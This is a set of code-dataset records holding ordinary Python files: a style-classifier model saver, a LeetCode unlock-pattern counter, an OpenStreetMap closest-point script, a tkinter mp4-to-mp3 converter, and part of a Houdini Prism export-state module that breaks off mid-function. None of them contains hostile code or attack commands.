Path(os.environ[\"STYLE_MODEL_DATA\"])\n # create data/model if it doesn't exist\n path.mkdir(parents=True, exist_ok=True)\n # names of currently existing models\n names = [file.name for file in path.iterdir()]\n\n model_name = None\n for i in range(1000):\n if i == 999:\n print(\"Clear your model folder for more automatic name generation.\")\n model_name = \"model_\" + str(i)\n if model_name in names: # this name exists\n continue\n else: # a new name is found\n break\n return model_name\n\n def save_model(self, model_name: str) -> None:\n \"\"\"Save the model to the style model path under the given name.\"\"\"\n # request a model name if none was provided\n if \"STYLE_MODEL_DATA\" not in os.environ:\n print(\"Cannot find STYLE_MODEL_DATA environment variable\")\n exit(1)\n if model_name == None:\n model_name = self.get_model_name()\n out_path = Path(os.environ[\"STYLE_MODEL_DATA\"]) / model_name\n # create data/model if it doesn't exist\n out_path.mkdir(parents=True, exist_ok=True)\n self.model.save(out_path)\n\n def load_model(self, model_name: str) -> None:\n \"\"\"Load a saved model from the style model path under the given name.\"\"\"\n if \"STYLE_MODEL_DATA\" not in os.environ:\n print(\"Cannot find STYLE_MODEL_DATA environment variable\")\n exit(1)\n\n self.model = models.load_model(\n Path(os.environ[\"STYLE_MODEL_DATA\"]) / model_name\n )\n","repo_name":"Wehzie/hwr-2021","sub_path":"src/style_classifier/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34113263191","text":"class Solution:\r\n def numberOfPatterns(self, m: int, n: int) -> int:\r\n jumps = [x[:] for x in [[0] * 10] * 10]\r\n visited = [False] * 10\r\n jumps[1][3] = 2\r\n jumps[3][1] = 2\r\n jumps[4][6] = 5\r\n jumps[6][4] = 5\r\n jumps[7][9] = 8\r\n jumps[9][7] = 8\r\n \r\n jumps[1][7] = 4\r\n jumps[7][1] = 4\r\n jumps[2][8] = 5\r\n jumps[8][2] = 5\r\n jumps[3][9] = 6\r\n jumps[9][3] = 6\r\n \r\n jumps[1][9] = 5\r\n jumps[9][1] = 5\r\n jumps[3][7] = 5\r\n jumps[7][3] = 5\r\n res = 0\r\n res += helper(1, 1, m, n, jumps, visited, 0) * 4\r\n res += helper(2, 1, m, n, jumps, visited, 0) * 4\r\n res += helper(5, 1, m, n, jumps, visited, 0)\r\n return res\r\n \r\n \r\ndef helper(cur, length, m, n, jumps, visited, res):\r\n if length >= m:\r\n res += 1\r\n length += 1\r\n if length > n:\r\n return res\r\n visited[cur] = True\r\n for nxt in range(1, 10):\r\n jmp = jumps[cur][nxt]\r\n if not visited[nxt] and (visited[jmp] or jmp == 0):\r\n res = helper(nxt, length, m, n, jumps, visited, res)\r\n visited[cur] = False\r\n return res","repo_name":"HaoboChen1887/leetcode","sub_path":"backtracking/351_android_unlock_patterns/351.py","file_name":"351.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32189165372","text":"\"\"\"This module reads an OpenMap xml file and plots it\"\"\"\nfrom lxml import etree\nimport find_closest_py\nimport find_closest_cy\nimport time\n\nclass Point(object):\n \"\"\"\n Class that stores point latitude and longitude\n \"\"\"\n def __init__(self, *args):\n \"\"\"Initializes the Point object\n Args:\n *args: The latitude and longitude of the point\n Returns:\n None\n >>> p = Point(1,2)\n >>> p.latitude == 1\n True\n >>> p.longitude == 2\n True\n \"\"\"\n self.__lat, self.__lon = args\n\n @property\n def latitude(self):\n \"\"\"\n Getter method for attribute latitude\n \"\"\"\n return self.__lat\n\n @property\n def longitude(self):\n \"\"\"\n Getter method for attribute longitude\n \"\"\"\n return self.__lon\n\n\nclass IdPoint(Point):\n \"\"\"\n Class that stores point id\n \"\"\"\n def __init__(self, pointid, lat, lon):\n \"\"\"Initializes the idPoint object\n Args:\n *args: The id, latitude and longitude of the point\n Returns:\n None\n >>> p = IdPoint(\"100\",1,2)\n >>> p.point_id == \"100\"\n True\n \"\"\"\n self.__pointid = pointid\n super(IdPoint, self).__init__(lat, lon)\n\n @property\n def point_id(self):\n \"\"\"\n Getter method for attribute id\n \"\"\"\n return self.__pointid\n\n\nif __name__ == \"__main__\":\n DOC = etree.parse(\"map.osm\")\n\n ALL_POINTS = tuple(IdPoint(elem.get(\"id\"), float(elem.get(\"lat\")),\n float(elem.get(\"lon\"))) for elem in DOC.xpath(\"/osm/node\"))\n\n start = time.time()\n p1_id, p2_id, min_dist = find_closest_py.find_closest_points(ALL_POINTS)\n end = time.time()\n print(\"\\n In python\")\n print(\" Point 1\", p1_id, \"\\n\", \"Point 2\", p2_id, \"\\n\", \"Minimum Distance\", min_dist, \"Time\", end - start)\n\n start = time.time()\n p1_id, p2_id, min_dist = find_closest_cy.find_closest_points(ALL_POINTS)\n end = time.time()\n print(\"\\n In cython\")\n print(\" Point 1\", p1_id, \"\\n\", \"Point 2\", p2_id, \"\\n\", \"Minimum Distance\", min_dist, \"Time\", end - start)\n","repo_name":"mathyomama/python-tutorial","sub_path":"kevin/closest_points/open_street_map_plot.py","file_name":"open_street_map_plot.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36533074118","text":"result = 'value=34444444'\nr = result\nslices = [r[0:6], r[6:7], r[7:8], r[8:9], r[9:10], r[10:11], r[11:12], r[12:13], r[13:14]]\n\nprint(slices[1])\nif slices[1] == \"1\":\n print (\"neopixel bianco\")\nelif slices[1] == \"2\":\n print (\"neopixel arancione\")\nelif slices[1] == '3':\n print (\"neopixel rosso\")\n","repo_name":"masteruan/sensysy","sub_path":"slice.py","file_name":"slice.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72071859364","text":"import numpy as np\nfrom lib.vanGenuchten_numba import KFun\n\ndef GetSteadyInfiltration(pars,q):\n # Use mid-point search to find psi, where K(psi)=q. Search in logspace\n psiL=-3\n psiU=3\n errL=errfun(psiL,pars,q)\n errU=errfun(psiU,pars,q)\n errM=10\n c=0\n# print(c,errM,psiL,psiU)\n\n while np.abs(errM)>1e-10 and c < 100:\n psiM=(psiL+psiU)/2.\n errM=errfun(psiM,pars,q)\n if errM < 0.:\n psiL=psiM\n errL=errM\n else:\n psiU=psiM\n errU=errM\n c+=1\n# print(c,psiM,errM)\n if c == 100: print('Warning: reached %d iterations'%c)\n return -10**psiM\n\ndef errfun(psi,pars,q):\n return q-KFun(np.array([-10**psi]),pars)\n","repo_name":"amireson/RichardsEquation_improved","sub_path":"lib/GetSteadyInfiltration.py","file_name":"GetSteadyInfiltration.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"71869313444","text":"import os\nfrom tkinter import *\nfrom tkinter import filedialog\n\nimport moviepy.editor\nfrom pathlib import Path\n\n\n\nroot = Tk() # creating interface with tkinter\nroot.geometry(\"600x500\")\n\n\ndef file(): # this command/function will makes foldier where will hold your .mp3 files and ability to choose your mp4 file\n try:\n os.mkdir(r'D:\\MusicConverter') # makes foldier where will hold your converted .mp3 files\n\n except FileExistsError: # if file exist\n pass\n\n global txt\n txt2['text'] = ''\n txt.delete(\"1.0\", 'end')\n filepath = filedialog.askopenfilename(filetypes=((('video', '*.mp4'), ('all files', '*.*') ))) # display only your .mp4 files\n txt.insert(\"end-1c\", filepath)\n\ndef converter(): # this command/function will checking your file format and convert to .mp3\n global videofile\n try:\n if txt.get(\"1.0\",'end-1c')[-4:] != '.mp4': # checking your file format\n txt2['text'] = 'Не тот тип файла'\n return\n\n videofile = Path(txt.get(\"1.0\",'end-1c'))\n video = moviepy.editor.VideoFileClip(f'{videofile}')\n audio = video.audio # transform to .mp3\n audio.write_audiofile(f'D:\\MusicConverter\\{videofile.stem}.mp3') # send to your foldier which was created early\n timer()\n except:\n txt2['text'] = 'Неверный путь'\n\ndef openFoldier():\n os.startfile('D:\\MusicConverter') # opens your foldier with converted .mp3 files\n\ndef timer(): # this this command/function watching file location. if downloading is over, the programm will say it\n while 1:\n try:\n os.path.isfile(f'D:\\MusicConverter\\{videofile.stem}.mp3') # if file exist in your foldier, it will say it\n lbl['text'] = 'Загрузка завершена'\n break\n\n except FileNotFoundError:\n lbl['text'] = 'Загрузка...' # when file doesn't exist in your foldier\n return timer()\n\n################################################ making buttons, text and label widgets\ntxt = Text(width=45, height=1, font='Arial 12')\ntxt.place(x=10, y=25)\n\nbtn = Button(text='Источник', command=file, font='Arial 10')\nbtn.place(x=430, y=25)\n\nbtn2 = Button(text='Конвертировать', command=converter, font='Arial 10')\nbtn2.place(x=430, y=60)\n\nbtn3 = Button(text='Открыть папку с готовыми файлами', command=openFoldier, font='Arial 10')\nbtn3.pack(pady=100)\n\ntxt2 = Label(font='Arial 12 bold')\ntxt2.pack(pady=100)\n\nlbl = Label(text='', font='Arial 12 bold')\nlbl.pack()\n#############################################\n\nroot.mainloop()\n","repo_name":"CrystaJl/Converter-from-mp4-to-mp3-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12230853030","text":"import os\nimport sys\nimport time\nimport traceback\nimport platform\n\ntry:\n from PySide2.QtCore import *\n from PySide2.QtGui import *\n from PySide2.QtWidgets import *\nexcept:\n from PySide.QtCore import *\n from PySide.QtGui import *\n\nimport hou\n\nfrom PrismUtils.Decorators import err_catcher as err_catcher\n\n\nclass ExportClass(object):\n className = \"Export\"\n listType = \"Export\"\n\n @err_catcher(name=__name__)\n def setup(self, state, core, stateManager, node=None, stateData=None):\n self.state = state\n self.core = core\n self.stateManager = stateManager\n\n self.e_name.setText(state.text(0))\n\n self.node = None\n self.curCam = None\n self.initsim = True\n\n self.setTaskname(\"\")\n self.cb_outType.addItems(self.core.appPlugin.outputFormats)\n self.export_paths = self.core.paths.getExportProductBasePaths()\n\n self.cb_outPath.addItems(list(self.export_paths.keys()))\n if len(self.export_paths) < 2:\n self.w_outPath.setVisible(False)\n\n self.l_name.setVisible(False)\n self.e_name.setVisible(False)\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.gb_submit.setChecked(False)\n\n self.nodeTypes = {\n \"rop_geometry\": {\"outputparm\": \"sopoutput\"},\n \"rop_alembic\": {\"outputparm\": \"filename\"},\n \"rop_fbx\": {\"outputparm\": \"sopoutput\"},\n \"rop_dop\": {\"outputparm\": \"dopoutput\"},\n \"rop_comp\": {\"outputparm\": \"copoutput\"},\n \"filecache\": {\"outputparm\": \"file\"},\n \"geometry\": {\"outputparm\": \"sopoutput\"},\n \"alembic\": {\"outputparm\": \"filename\"},\n \"pixar::usdrop\": {\"outputparm\": \"usdfile\"},\n \"usd\": {\"outputparm\": \"lopoutput\"},\n \"Redshift_Proxy_Output\": {\"outputparm\": \"RS_archive_file\"},\n \"prism::Filecache::1.0\": {\"outputparm\": \"outputPath\"},\n }\n\n self.rangeTypes = [\"State Manager\", \"Scene\", \"Shot\", \"Node\", \"Single Frame\", \"Custom\"]\n self.cb_rangeType.addItems(self.rangeTypes)\n for idx, rtype in enumerate(self.rangeTypes):\n self.cb_rangeType.setItemData(idx, self.stateManager.getFrameRangeTypeToolTip(rtype), Qt.ToolTipRole)\n\n for i in self.core.rfManagers.values():\n self.cb_manager.addItem(i.pluginName)\n i.sm_houExport_startup(self)\n\n if self.cb_manager.count() == 0:\n self.gb_submit.setVisible(False)\n\n if node is None and not self.stateManager.standalone:\n if stateData is None:\n if not self.connectNode():\n self.createNode()\n else:\n self.node = node\n\n if self.node is not None and self.node.parm(\"f1\") is not None:\n self.sp_rangeStart.setValue(self.node.parm(\"f1\").eval())\n self.sp_rangeEnd.setValue(self.node.parm(\"f2\").eval())\n\n idx = -1\n if self.node.type().name() in [\"rop_alembic\", \"alembic\"]:\n idx = self.cb_outType.findText(\".abc\")\n elif self.node.type().name() in [\"rop_fbx\"]:\n idx = self.cb_outType.findText(\".fbx\")\n elif self.node.type().name() in [\"pixar::usdrop\", \"usd\"]:\n idx = self.cb_outType.findText(\".usd\")\n elif self.node.type().name() in [\"Redshift_Proxy_Output\"]:\n idx = self.cb_outType.findText(\".rs\")\n\n if idx != -1:\n self.cb_outType.setCurrentIndex(idx)\n self.typeChanged(self.cb_outType.currentText())\n\n if self.isPrismFilecacheNode(self.node):\n self.core.appPlugin.filecache.nodeInit(self.node, state)\n elif stateData is None:\n self.sp_rangeStart.setValue(hou.playbar.playbackRange()[0])\n self.sp_rangeEnd.setValue(hou.playbar.playbackRange()[1])\n\n self.managerChanged(True)\n self.connectEvents()\n self.core.appPlugin.fixStyleSheet(self.gb_submit)\n self.e_osSlaves.setText(\"All\")\n\n self.updateUi()\n if stateData is not None:\n self.loadData(stateData)\n else:\n fileName = self.core.getCurrentFileName()\n fnameData = self.core.getScenefileData(fileName)\n if (\n os.path.exists(fileName)\n and fnameData[\"entity\"] == \"shot\"\n and self.core.fileInPipeline(fileName)\n ):\n idx = self.cb_sCamShot.findText(fnameData[\"entityName\"])\n if idx != -1:\n self.cb_sCamShot.setCurrentIndex(idx)\n\n if fnameData.get(\"category\") and not self.isPrismFilecacheNode(self.node):\n self.setTaskname(fnameData.get(\"category\"))\n\n @err_catcher(name=__name__)\n def loadData(self, data):\n if \"statename\" in data:\n self.e_name.setText(data[\"statename\"])\n if \"taskname\" in data:\n self.setTaskname(data[\"taskname\"])\n if \"rangeType\" in data:\n idx = self.cb_rangeType.findText(data[\"rangeType\"])\n if idx != -1:\n self.cb_rangeType.setCurrentIndex(idx)\n self.updateRange()\n if \"startframe\" in data:\n self.sp_rangeStart.setValue(int(data[\"startframe\"]))\n if \"endframe\" in data:\n self.sp_rangeEnd.setValue(int(data[\"endframe\"]))\n if \"connectednode\" in data:\n node = hou.node(data[\"connectednode\"])\n if node is None:\n node = self.findNode(data[\"connectednode\"])\n self.connectNode(node)\n if \"usetake\" in data:\n self.chb_useTake.setChecked(eval(data[\"usetake\"]))\n if \"take\" in data:\n idx = self.cb_take.findText(data[\"take\"])\n if idx != -1:\n self.cb_take.setCurrentIndex(idx)\n if \"curoutputpath\" in data:\n idx = self.cb_outPath.findText(data[\"curoutputpath\"])\n if idx != -1:\n self.cb_outPath.setCurrentIndex(idx)\n if \"outputtypes\" in data:\n self.cb_outType.clear()\n self.cb_outType.addItems(eval(data[\"outputtypes\"]))\n if \"curoutputtype\" in data:\n idx = self.cb_outType.findText(data[\"curoutputtype\"])\n if idx != -1:\n self.cb_outType.setCurrentIndex(idx)\n self.typeChanged(self.cb_outType.currentText(), createMissing=False)\n if \"unitconvert\" in data:\n self.chb_convertExport.setChecked(eval(data[\"unitconvert\"]))\n if \"submitrender\" in data:\n self.gb_submit.setChecked(eval(data[\"submitrender\"]))\n if \"rjmanager\" in data:\n idx = self.cb_manager.findText(data[\"rjmanager\"])\n if idx != -1:\n self.cb_manager.setCurrentIndex(idx)\n self.managerChanged(True)\n if \"rjprio\" in data:\n self.sp_rjPrio.setValue(int(data[\"rjprio\"]))\n if \"rjframespertask\" in data:\n self.sp_rjFramesPerTask.setValue(int(data[\"rjframespertask\"]))\n if \"rjtimeout\" in data:\n self.sp_rjTimeout.setValue(int(data[\"rjtimeout\"]))\n if \"rjsuspended\" in data:\n self.chb_rjSuspended.setChecked(eval(data[\"rjsuspended\"]))\n if \"osdependencies\" in data:\n self.chb_osDependencies.setChecked(eval(data[\"osdependencies\"]))\n if \"osupload\" in data:\n self.chb_osUpload.setChecked(eval(data[\"osupload\"]))\n if \"ospassets\" in data:\n self.chb_osPAssets.setChecked(eval(data[\"ospassets\"]))\n if \"osslaves\" in data:\n self.e_osSlaves.setText(data[\"osslaves\"])\n if \"curdlgroup\" in data:\n idx = self.cb_dlGroup.findText(data[\"curdlgroup\"])\n if idx != -1:\n self.cb_dlGroup.setCurrentIndex(idx)\n if \"currentcam\" in data:\n idx = self.cb_cam.findText(data[\"currentcam\"])\n if idx != -1:\n self.curCam = self.camlist[idx]\n if self.cb_outType.currentText() == \"ShotCam\":\n self.nameChanged(self.e_name.text())\n if \"currentscamshot\" in data:\n idx = self.cb_sCamShot.findText(data[\"currentscamshot\"])\n if idx != -1:\n self.cb_sCamShot.setCurrentIndex(idx)\n if \"lastexportpath\" in data:\n lePath = self.core.fixPath(data[\"lastexportpath\"])\n\n self.l_pathLast.setText(lePath)\n self.l_pathLast.setToolTip(lePath)\n pathIsNone = self.l_pathLast.text() == \"None\"\n self.b_openLast.setEnabled(not pathIsNone)\n self.b_copyLast.setEnabled(not pathIsNone)\n if \"stateenabled\" in data:\n self.state.setCheckState(\n 0,\n eval(\n data[\"stateenabled\"]\n .replace(\"PySide.QtCore.\", \"\")\n .replace(\"PySide2.QtCore.\", \"\")\n ),\n )\n\n self.nameChanged(self.e_name.text())\n\n @err_catcher(name=__name__)\n def findNode(self, path):\n for node in hou.node(\"/\").allSubChildren():\n if (\n node.userData(\"PrismPath\") is not None\n and node.userData(\"PrismPath\") == path\n ):\n node.setUserData(\"PrismPath\", node.path())\n return node\n\n return None\n\n @err_catcher(name=__name__)\n def isNodeValid(self):\n try:\n validTST = self.node.name()\n except:\n self.node = None\n\n return self.node is not None\n\n @err_catcher(name=__name__)\n def createNode(self, nodePath=None):\n if self.stateManager.standalone:\n return False\n\n parentNode = None\n curContext = \"\"\n if not self.isNodeValid():\n if len(hou.selectedNodes()) > 0:\n curContext = hou.selectedNodes()[0].type().category().name()\n if len(hou.selectedNodes()[0].outputNames()) > 0:\n parentNode = hou.selectedNodes()[0]\n else:\n if self.core.uiAvailable:\n paneTab = hou.ui.paneTabOfType(hou.paneTabType.NetworkEditor)\n if paneTab is None:\n return\n\n curContext = paneTab.pwd().childTypeCategory().name()\n nodePath = paneTab.pwd()\n elif nodePath is not None:\n curContext = hou.node(nodePath).type().category().name()\n else:\n curContext = self.node.type().category().name()\n if len(self.node.inputs()) > 0:\n parentNode = self.node.inputs()[0]\n else:\n nodePath = self.node.parent()\n\n if self.node.type().name() in self.nodeTypes.keys():\n try:\n self.node.destroy()\n except:\n pass\n elif self.node.outputConnectors():\n parentNode = self.node\n nodePath = None\n\n self.node = None\n\n ropType = \"\"\n if curContext == \"Cop2\":\n ropType = \"rop_comp\"\n elif curContext == \"Dop\":\n ropType = \"rop_dop\"\n elif curContext == \"Sop\":\n ropType = \"rop_geometry\"\n elif curContext == \"Driver\":\n ropType = \"geometry\"\n\n if self.cb_outType.currentText() == \".abc\":\n if curContext == \"Sop\":\n ropType = \"rop_alembic\"\n else:\n ropType = \"alembic\"\n elif self.cb_outType.currentText() == \".fbx\":\n ropType = \"rop_fbx\"\n elif self.cb_outType.currentText() == \".usd\":\n ropType = \"usd\"\n elif self.cb_outType.currentText() == \".rs\":\n ropType = \"Redshift_Proxy_Output\"\n\n if (\n ropType != \"\"\n and nodePath is not None\n and not nodePath.isInsideLockedHDA()\n and not nodePath.isLockedHDA()\n ):\n try:\n self.node = nodePath.createNode(ropType)\n except:\n pass\n else:\n paneTab = hou.ui.paneTabOfType(hou.paneTabType.NetworkEditor)\n if paneTab is not None:\n self.node.setPosition(paneTab.visibleBounds().center())\n self.node.moveToGoodPosition()\n elif (\n ropType != \"\"\n and parentNode is not None\n and not (parentNode.parent().isInsideLockedHDA())\n ):\n try:\n self.node = parentNode.createOutputNode(ropType)\n except:\n pass\n else:\n self.node.moveToGoodPosition()\n\n if self.isNodeValid():\n self.goToNode()\n self.updateUi()\n\n @err_catcher(name=__name__)\n def connectEvents(self):\n self.e_name.textChanged.connect(self.nameChanged)\n self.e_name.editingFinished.connect(self.stateManager.saveStatesToScene)\n self.b_changeTask.clicked.connect(self.changeTask)\n self.cb_rangeType.activated.connect(self.rangeTypeChanged)\n self.sp_rangeStart.editingFinished.connect(self.startChanged)\n self.sp_rangeEnd.editingFinished.connect(self.endChanged)\n self.cb_outPath.activated[str].connect(self.stateManager.saveStatesToScene)\n self.cb_outType.activated[str].connect(self.typeChanged)\n self.chb_useTake.stateChanged.connect(self.useTakeChanged)\n self.cb_take.activated.connect(self.stateManager.saveStatesToScene)\n self.chb_convertExport.stateChanged.connect(self.stateManager.saveStatesToScene)\n self.gb_submit.toggled.connect(self.rjToggled)\n self.cb_manager.activated.connect(self.managerChanged)\n self.sp_rjPrio.editingFinished.connect(self.stateManager.saveStatesToScene)\n self.sp_rjFramesPerTask.editingFinished.connect(\n self.stateManager.saveStatesToScene\n )\n self.sp_rjTimeout.editingFinished.connect(self.stateManager.saveStatesToScene)\n self.chb_rjSuspended.stateChanged.connect(self.stateManager.saveStatesToScene)\n self.chb_osDependencies.stateChanged.connect(\n self.stateManager.saveStatesToScene\n )\n self.chb_osUpload.stateChanged.connect(self.stateManager.saveStatesToScene)\n self.chb_osPAssets.stateChanged.connect(self.stateManager.saveStatesToScene)\n self.e_osSlaves.editingFinished.connect(self.stateManager.saveStatesToScene)\n self.b_osSlaves.clicked.connect(self.openSlaves)\n self.cb_dlGroup.activated.connect(self.stateManager.saveStatesToScene)\n self.cb_cam.activated.connect(self.setCam)\n self.cb_sCamShot.activated.connect(self.stateManager.saveStatesToScene)\n self.b_openLast.clicked.connect(\n lambda: self.core.openFolder(os.path.dirname(self.l_pathLast.text()))\n )\n self.b_copyLast.clicked.connect(\n lambda: self.core.copyToClipboard(self.l_pathLast.text())\n )\n if not self.stateManager.standalone:\n self.b_goTo.clicked.connect(self.goToNode)\n self.b_connect.clicked.connect(self.connectNode)\n\n @err_catcher(name=__name__)\n def rangeTypeChanged(self, state):\n self.updateUi()\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def nameChanged(self, text):\n if self.cb_outType.currentText() == \"ShotCam\":\n sText = text + \" - Shotcam (%s)\" % (self.curCam)\n else:\n try:\n sText = text + \" - %s (%s)\" % (self.l_taskName.text(), self.node)\n except:\n sText = text + \" - %s (None)\" % self.l_taskName.text()\n\n if self.state.text(0).endswith(\" - disabled\"):\n sText += \" - disabled\"\n\n self.state.setText(0, sText)\n\n @err_catcher(name=__name__)\n def isPrismFilecacheNode(self, node):\n if not self.core.appPlugin.isNodeValid(self, node):\n return False\n\n if node.type().name().startswith(\"prism::Filecache\"):\n return True\n\n return False\n\n @err_catcher(name=__name__)\n def changeTask(self):\n import CreateItem\n\n self.nameWin = CreateItem.CreateItem(\n startText=self.l_taskName.text(),\n showTasks=True,\n taskType=\"export\",\n core=self.core,\n )\n self.core.parentWindow(self.nameWin)\n self.nameWin.setWindowTitle(\"Change Taskname\")\n self.nameWin.l_item.setText(\"Taskname:\")\n self.nameWin.buttonBox.buttons()[0].setText(\"Ok\")\n self.nameWin.e_item.selectAll()\n result = self.nameWin.exec_()\n\n if result == 1:\n taskName = self.nameWin.e_item.text()\n self.setTaskname(taskName)\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def setTaskname(self, taskname):\n self.l_taskName.setText(taskname)\n self.nameChanged(self.e_name.text())\n if taskname:\n self.b_changeTask.setStyleSheet(\"\")\n else:\n self.b_changeTask.setStyleSheet(\n \"QPushButton { background-color: rgb(150,0,0); border: none;}\"\n )\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def getTaskname(self):\n taskName = self.l_taskName.text()\n return taskName\n\n @err_catcher(name=__name__)\n def getOutputType(self):\n return self.cb_outType.currentText()\n\n @err_catcher(name=__name__)\n def setOutputType(self, outputtype):\n idx = self.cb_outType.findText(outputtype)\n if idx != -1:\n self.cb_outType.setCurrentIndex(idx)\n self.typeChanged(self.cb_outType.currentText(), createMissing=False)\n return True\n\n return False\n\n @err_catcher(name=__name__)\n def getRangeType(self):\n return self.cb_rangeType.currentText()\n\n @err_catcher(name=__name__)\n def setRangeType(self, rangeType):\n idx = self.cb_rangeType.findText(rangeType)\n if idx != -1:\n self.cb_rangeType.setCurrentIndex(idx)\n self.updateRange()\n return True\n\n return False\n\n @err_catcher(name=__name__)\n def getLocation(self):\n return self.cb_outPath.currentText()\n\n @err_catcher(name=__name__)\n def setLocation(self, location):\n idx = self.cb_outPath.findText(location)\n if idx != -1:\n self.cb_outPath.setCurrentIndex(idx)\n return True\n\n return False\n\n @err_catcher(name=__name__)\n def setCam(self, index):\n self.curCam = self.camlist[index]\n self.nameChanged(self.e_name.text())\n\n self.stateManager.saveStatesToScene()\n\n @err_catcher(name=__name__)\n def updateUi(self):\n try:\n self.node.name()\n self.l_status.setText(self.node.name())\n self.l_status.setToolTip(self.node.path())\n self.l_status.setStyleSheet(\"QLabel { background-color : rgb(0,150,0); }\")\n except:\n self.l_status.setText(\"Not connected\")\n self.l_status.setToolTip(\"\")\n self.l_status.setStyleSheet(\"QLabel { background-color : rgb(150,0,0); }\")\n\n curTake = self.cb_take.currentText()\n self.cb_take.clear()\n self.cb_take.addItems([x.name() for x in hou.takes.takes()])\n idx = self.cb_take.findText(curTake)\n if idx != -1:\n self.cb_take.setCurrentIndex(idx)\n\n self.camlist = []\n for node in hou.node(\"/\").allSubChildren():\n if node.type().name() == \"cam\" and node.name() != \"ipr_camera\":\n self.camlist.append(node)\n\n self.cb_cam.clear()\n self.cb_cam.addItems([str(i) for i in self.camlist])\n\n try:\n self.curCam.name()\n except:\n self.curCam = None\n\n if self.curCam in self.camlist:\n self.cb_cam.setCurrentIndex(self.camlist.index(self.curCam))\n else:\n self.cb_cam.setCurrentIndex(0)\n if len(self.camlist) > 0:\n self.curCam = self.camlist[0]\n else:\n self.curCam = None\n self.stateManager.saveStatesToScene()\n\n if self.isPrismFilecacheNode(self.node):\n self.core.appPlugin.filecache.refreshNodeUi(self.node, self)\n\n self.updateRange()\n curShot = self.cb_sCamShot.currentText()\n self.cb_sCamShot.clear()\n shotPath = self.core.getShotPath()\n shotNames = []\n omittedShots = self.core.getConfig(\"shot\", config=\"omit\", dft=[])\n\n if os.path.exists(shotPath):\n shotNames += [\n x\n for x in os.listdir(shotPath)\n if not x.startswith(\"_\") and x not in omittedShots\n ]\n self.cb_sCamShot.addItems(shotNames)\n if curShot in shotNames:\n self.cb_sCamShot.setCurrentIndex(shotNames.index(curShot))\n else:\n self.cb_sCamShot.setCurrentIndex(0)\n self.stateManager.saveStatesToScene()\n\n self.nameChanged(self.e_name.text())\n\n @err_catcher(name=__name__)\n def updateRange(self):\n rangeType = self.cb_rangeType.currentText()\n isCustom = rangeType == \"Custom\"\n self.l_rangeStart.setVisible(not isCustom)\n self.l_rangeEnd.setVisible(not isCustom)\n self.sp_rangeStart.setVisible(isCustom)\n self.sp_rangeEnd.setVisible(isCustom)\n\n if not isCustom:\n frange = self.getFrameRange(rangeType=rangeType)\n start = str(int(frange[0])) if frange[0] is not None else \"-\"\n end = str(int(frange[1])) if frange[1] is not None else \"-\"\n self.l_rangeStart.setText(start)\n self.l_rangeEnd.setText(end)\n\n @err_catcher(name=__name__)\n def getFrameRange(self, rangeType):\n startFrame = None\n endFrame = None\n if rangeType == \"State Manager\":\n startFrame = self.stateManager.sp_rangeStart.value()\n endFrame = self.stateManager.sp_rangeEnd.value()\n elif rangeType == \"Scene\":\n startFrame, endFrame = self.core.appPlugin.getFrameRange(self)\n elif rangeType == \"Shot\":\n fileName = self.core.getCurrentFileName()\n fnameData = self.core.getScenefileData(fileName)\n if fnameData[\"entity\"] == \"shot\":\n frange = self.core.entities.getShotRange(fnameData[\"entityName\"])\n if frange:\n startFrame, endFrame = frange\n elif rangeType == \"Node\" and self.node:\n api = self.core.appPlugin.getApiFromNode(self.node)\n if api:\n startFrame, endFrame = api.getFrameRange(self.node)\n\n if startFrame is None:\n try:\n startFrame = self.node.parm(\"f1\").eval()\n endFrame = self.node.parm(\"f2\").eval()\n except:\n pass\n elif rangeType == \"Single Frame\":\n startFrame = self.core.appPlugin.getCurrentFrame()\n elif rangeType == \"Custom\":\n startFrame = self.sp_rangeStart.value()\n endFrame = self.sp_rangeEnd.value()\n\n return startFrame, endFrame\n\n @err_catcher(name=__name__)\n def typeChanged(self, idx, createMissing=True):\n self.isNodeValid()\n\n if idx == \".abc\":\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n if (\n self.node is None\n or self.node.type().name() not in [\"rop_alembic\", \"alembic\", \"wedge\", \"prism::Filecache::1.0\"]\n ) and createMissing:\n self.createNode()\n elif idx == \".fbx\":\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n if (\n self.node is None\n or self.node.type().name() not in [\"rop_fbx\", \"wedge\", \"prism::Filecache::1.0\"]\n ) and createMissing:\n self.createNode()\n elif idx == \".usd\":\n self.f_cam.setVisible(False)\n self.w_sCamShot.setVisible(False)\n self.f_taskName.setVisible(True)\n self.f_status.setVisible(True)\n self.f_connect.setVisible(True)\n self.f_frameRange.setVisible(True)\n self.w_frameRangeValues.setVisible(True)\n self.f_convertExport.setVisible(True)\n if self.cb_manager.count() > 0:\n self.gb_submit.setVisible(True)\n if (\n self.node is None\n or self.node.type().name() not in [\"pixar::usdrop\", \"usd\", \"wedge\", \"prism::Filecache::1.0\"]\n ) and createMissing:\n self.createNode()\n elif idx == \".rs\":\n 